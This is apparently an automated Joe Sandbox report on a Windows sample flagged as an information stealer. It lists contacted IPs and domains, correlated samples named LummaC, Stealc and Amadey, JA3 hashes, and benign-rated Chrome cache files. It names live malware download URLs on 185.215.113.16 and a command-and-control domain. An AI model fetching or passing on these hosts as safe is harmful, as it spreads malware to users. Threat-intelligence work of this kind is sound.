https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000003.2230175038.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2229968361.00000000016FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2234295049.00000000016FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2558245590.000000000170B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210401025.0000000001704000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2558148133.0000000001708000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2242851773.0000000001708000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2242331464.0000000001708000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2234352371.0000000001704000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_88.7.dr, chromecache_99.7.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.42	s-part-0014.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
216.58.206.68	www.google.com	United States	15169	GOOGLEUS	false
188.114.97.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557365
Start date and time:	2024-11-18 05:56:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/64@6/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 93.184.221.240, 142.250.185.163, 184.28.89.167, 142.250.185.206, 64.233.184.84, 95.101.150.2, 34.104.35.123, 104.208.16.88, 216.58.212.138, 216.58.206.74, 142.250.181.234, 142.250.186.74, 142.250.185.74, 142.250.185.106, 142.250.184.234, 142.250.184.202, 172.217.16.138, 142.250.186.138, 142.250.186.106, 142.250.186.42, 172.217.18.10, 172.217.16.202, 142.250.74.202, 216.58.206.42, 2.20.245.137, 2.20.245.135, 13.74.129.1, 204.79.197.237, 13.107.21.237, 142.250.185.195
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, onedscolprdcus08.centralus.cloudapp.azure.com, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net, clients.l.google.com, c1.microsoft.co
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:57:05	API Interceptor	380x Sleep call for process: file.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.42	https://protect-us.mimecast.com/s/FVibCzpzxLsxEMXAhgAOBC	Get hash	malicious	Unknown	Browse	www.mimecast.com/Customers/Support/Contact-support/
	http://border-fd.smartertechnologies.com/	Get hash	malicious	Unknown	Browse	border-fd.smartertechnologies.com/
	https://protect-us.mimecast.com/s/4MrPCrkvgotDWxrNCzxa8p	Get hash	malicious	Unknown	Browse	www.mimecast.com/
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
185.215.113.16	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0014.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.42
	INVOICE DUE.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.42
	PO-54752454235.hta	Get hash	malicious	Remcos	Browse	13.107.246.42
	http://frenzelit.powerappsportals.com	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	13.107.246.42
	https://gen-techs.site/s/ind.html#123@123.com	Get hash	malicious	HTMLPhisher	Browse	13.107.246.42
	https://app.bitdam.com/api/v1.0/links/rewrite_click/?rewrite_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyZXdyaXRlX2lkIjoiNjcyOGQ2YzliOTFmMDRhNDE1NjM3NTRhIiwidXJsIjoiIiwib3JnYW5pemF0aW9uX2lkIjo1ODQwfQ.Uhd2nS1gN1sUzvqpPDTmoAH1ZU9vF-hNz1sM06cv-iA&url=https%3A//www.google.it/url%3Fq%3Dhttps%3A//www.google.it/url%3Fq%3Dhttps%3A//www.google.it/url%3Fq%3Dhttps%3A//www.google.ro/url%3Fq%3Dhttps%3A//www.google.nl/url%3Fq%3DZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%6E%65%77%68%6F%6D%65%73%76%6E%2E%63%6F%6D%2F%63%67%69%2F/3we/Y29saW4uZ3JhbnRAZmlyc3RvbnRhcmlvLmNvbQ==	Get hash	malicious	Unknown	Browse	13.107.246.42
	Order 1108739138.vbs	Get hash	malicious	Unknown	Browse	13.107.246.42
	ZtefPP1HI7.cmd	Get hash	malicious	Unknown	Browse	13.107.246.42
	(No subject) (86).eml	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.42
	https://targetemissionservices.ezofficeinventory.com/users/sign_in	Get hash	malicious	Unknown	Browse	13.107.246.42
cook-rain.sbs	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
s-part-0017.t-0009.t-msedge.net	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	Annual_Benefits_&_Bonus_for_Lorne.zuck#IyNURVhUTlVNUkFORE9NNDUjIw==.docx	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.45

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	PEACE SHIP PARTICULARS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	20.109.210.53
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.46.162.226
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	Annual_Benefits_&_Bonus_for_Lorne.zuck#IyNURVhUTlVNUkFORE9NNDUjIw==.docx	Get hash	malicious	Unknown	Browse	52.109.28.47
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
CLOUDFLARENETUS	http://pumpfun.board-sol.com/	Get hash	malicious	Unknown	Browse	172.67.72.174
	Launcher.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	rCEMG242598.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	PEACE SHIP PARTICULARS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	ZHENGHE 3_Q88 20241118.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	https://klkl9.b-cdn.net/2.txt	Get hash	malicious	Unknown	Browse	1.1.1.1
	Pagamento,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	PEACE SHIP PARTICULARS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	20.109.210.53
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.46.162.226
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	Annual_Benefits_&_Bonus_for_Lorne.zuck#IyNURVhUTlVNUkFORE9NNDUjIw==.docx	Get hash	malicious	Unknown	Browse	52.109.28.47
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	http://pumpfun.board-sol.com/	Get hash	malicious	Unknown	Browse	52.149.20.212 4.245.163.56 184.28.90.27 40.69.42.241 13.107.246.45
	file.exe	Get hash	malicious	Unknown	Browse	52.149.20.212 4.245.163.56 184.28.90.27 40.69.42.241 13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	52.149.20.212 4.245.163.56 184.28.90.27 40.69.42.241 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	52.149.20.212 4.245.163.56 184.28.90.27 40.69.42.241 13.107.246.45
	PEACE SHIP PARTICULARS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	52.149.20.212 4.245.163.56 184.28.90.27 40.69.42.241 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	52.149.20.212 4.245.163.56 184.28.90.27 40.69.42.241 13.107.246.45
	file.exe	Get hash	malicious	Cryptbot	Browse	52.149.20.212 4.245.163.56 184.28.90.27 40.69.42.241 13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	52.149.20.212 4.245.163.56 184.28.90.27 40.69.42.241 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	52.149.20.212 4.245.163.56 184.28.90.27 40.69.42.241 13.107.246.45
	https://us-west-2.protection.sophos.com/?d=vercel.app&u=aHR0cHM6Ly93ZWJtYWlsLWF1dGgtc2VjLnZlcmNlbC5hcHA=&i=NWVjYjQ2MzZmNTgwNWIwZWJlZWZkM2Fl&t=UXZ3YkZpNSszWkdZNlBPdUNtNGVRQTM2ZzV1SmdscHZTN2E0TDhEQUVMYz0=&h=41cf60c27bc24f608fa5f6f60edfa437&s=AVNPUEhUT0NFTkNSWVBUSVYWbs5htFrsKfDZKi2vxyeN8JAV7eyBc8AqkmOaHaHVi8YGx5zRAzUm2TNYTJQ1rCs#Ymtqb29AaGRlbC5jby5rcg==	Get hash	malicious	Unknown	Browse	52.149.20.212 4.245.163.56 184.28.90.27 40.69.42.241 13.107.246.45
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	Unknown	Browse	40.113.103.199
	rCEMG242598.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	40.113.103.199
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	40.113.103.199
	PEACE SHIP PARTICULARS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	40.113.103.199
	ZHENGHE 3_Q88 20241118.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	40.113.103.199
	Pagamento,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	40.113.103.199
	file.exe	Get hash	malicious	LummaC	Browse	40.113.103.199
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	40.113.103.199
	iDvmIRCPBw.exe	Get hash	malicious	Unknown	Browse	40.113.103.199
	ZdXUGLQpoL.exe	Get hash	malicious	Unknown	Browse	40.113.103.199
a0e9f5d64349fb13191bc781f81f42e1	Launcher.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	Cryptbot	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
